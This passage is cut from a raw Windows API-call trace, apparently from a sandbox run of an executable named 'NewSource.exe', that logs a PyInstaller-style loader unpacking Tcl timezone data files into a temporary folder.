lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.578] htonl (hostlong=0xee000000) returned 0xee [0038.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xee) returned 0x550600 [0038.578] htonl (hostlong=0xad000000) returned 0xad [0038.578] htonl (hostlong=0xee000000) returned 0xee [0038.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.578] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.578] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.578] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.578] CloseHandle (hObject=0x10c) returned 1 [0038.579] GetLastError () returned 0x0 [0038.579] SetLastError (dwErrCode=0x0) [0038.579] GetLastError () returned 0x0 [0038.579] SetLastError (dwErrCode=0x0) [0038.579] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.579] GetFileType (hFile=0x10c) returned 0x1 [0038.579] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.579] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.579] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.579] CloseHandle (hObject=0x10c) returned 1 [0038.580] GetLastError () returned 0x0 [0038.580] SetLastError (dwErrCode=0x0) [0038.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.580] GetFileType (hFile=0x10c) returned 0x1 [0038.580] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.580] CloseHandle (hObject=0x10c) returned 1 [0038.580] GetLastError () returned 0x0 [0038.580] SetLastError (dwErrCode=0x0) [0038.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.580] GetFileType (hFile=0x10c) returned 0x1 [0038.580] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.581] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.581] CloseHandle (hObject=0x10c) returned 1 [0038.581] GetLastError () returned 0x0 [0038.581] SetLastError (dwErrCode=0x0) [0038.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bogota") returned 71 [0038.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bogota" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\bogota"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.581] GetLastError () returned 0x2 [0038.581] SetLastError (dwErrCode=0x2) [0038.581] GetLastError () returned 0x2 [0038.581] SetLastError (dwErrCode=0x2) [0038.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bogota", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bogota", lpFilePart=0x0) returned 0x46 [0038.581] GetLastError () returned 0x2 [0038.581] SetLastError (dwErrCode=0x2) [0038.581] GetLastError () returned 0x2 [0038.581] SetLastError (dwErrCode=0x2) [0038.581] GetLastError () returned 0x2 [0038.581] SetLastError (dwErrCode=0x2) [0038.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bogota") returned 71 [0038.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bogota" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\bogota"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.582] GetFileType (hFile=0x10c) returned 0x1 [0038.582] htonl (hostlong=0xee000000) returned 0xee [0038.582] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.582] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xee, lpOverlapped=0x0) returned 1 [0038.583] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.583] CloseHandle (hObject=0x10c) returned 1 [0038.583] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.583] htonl (hostlong=0x30000000) returned 0x30 [0038.583] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.584] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.584] GetFileType (hFile=0x10c) returned 0x1 [0038.584] htonl (hostlong=0xe2ae5800) returned 0x58aee2 [0038.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5ee2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.584] htonl (hostlong=0x75060000) returned 0x675 [0038.584] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x675) returned 0x55e278 [0038.584] htonl (hostlong=0x75060000) returned 0x675 [0038.584] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.584] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.584] htonl (hostlong=0x84200000) returned 0x2084 [0038.584] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2084) returned 0x561090 [0038.584] htonl (hostlong=0x75060000) returned 0x675 [0038.584] htonl (hostlong=0x84200000) returned 0x2084 [0038.584] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563120 [0038.584] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563120 | out: hHeap=0x530000) returned 1 [0038.584] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.584] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.584] CloseHandle (hObject=0x10c) returned 1 [0038.584] GetLastError () returned 0x0 [0038.585] SetLastError (dwErrCode=0x0) [0038.585] GetLastError () returned 0x0 [0038.585] SetLastError (dwErrCode=0x0) [0038.585] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.585] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.585] GetFileType (hFile=0x10c) returned 0x1 [0038.585] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.585] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.585] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.585] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.585] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.585] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.585] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.585] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.585] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.585] CloseHandle (hObject=0x10c) returned 1 [0038.585] GetLastError () returned 0x0 [0038.585] SetLastError (dwErrCode=0x0) [0038.585] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.585] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.585] GetFileType (hFile=0x10c) returned 0x1 [0038.585] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.585] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.585] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.586] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.586] CloseHandle (hObject=0x10c) returned 1 [0038.586] GetLastError () returned 0x0 [0038.586] SetLastError (dwErrCode=0x0) [0038.586] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.586] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.586] GetFileType (hFile=0x10c) returned 0x1 [0038.586] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.586] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.586] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.586] CloseHandle (hObject=0x10c) returned 1 [0038.586] GetLastError () returned 0x0 [0038.587] SetLastError (dwErrCode=0x0) [0038.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boise") returned 70 [0038.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boise" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\boise"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.587] GetLastError () returned 0x2 [0038.587] SetLastError (dwErrCode=0x2) [0038.587] GetLastError () returned 0x2 [0038.587] SetLastError (dwErrCode=0x2) [0038.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boise", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boise", lpFilePart=0x0) returned 0x45 [0038.587] GetLastError () returned 0x2 [0038.587] SetLastError (dwErrCode=0x2) [0038.587] GetLastError () returned 0x2 [0038.587] SetLastError (dwErrCode=0x2) [0038.587] GetLastError () returned 0x2 [0038.587] SetLastError (dwErrCode=0x2) [0038.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boise") returned 70 [0038.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Boise" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\boise"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.588] GetFileType (hFile=0x10c) returned 0x1 [0038.588] htonl (hostlong=0x84200000) returned 0x2084 [0038.588] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.589] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.589] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x84, lpOverlapped=0x0) returned 1 [0038.589] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.589] CloseHandle (hObject=0x10c) returned 1 [0038.590] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.590] htonl (hostlong=0x30000000) returned 0x30 [0038.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.591] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.591] GetFileType (hFile=0x10c) returned 0x1 [0038.591] htonl (hostlong=0x57b55800) returned 0x58b557 [0038.591] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d6557, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.591] htonl (hostlong=0x91000000) returned 0x91 [0038.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x55cfe0 [0038.591] htonl (hostlong=0x91000000) returned 0x91 [0038.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.592] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.592] htonl (hostlong=0xea000000) returned 0xea [0038.592] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xea) returned 0x550600 [0038.592] htonl (hostlong=0x91000000) returned 0x91 [0038.592] htonl (hostlong=0xea000000) returned 0xea [0038.592] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.592] CloseHandle (hObject=0x10c) returned 1 [0038.592] GetLastError () returned 0x0 [0038.592] SetLastError (dwErrCode=0x0) [0038.592] GetLastError () returned 0x0 [0038.592] SetLastError (dwErrCode=0x0) [0038.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.592] CreateFileW 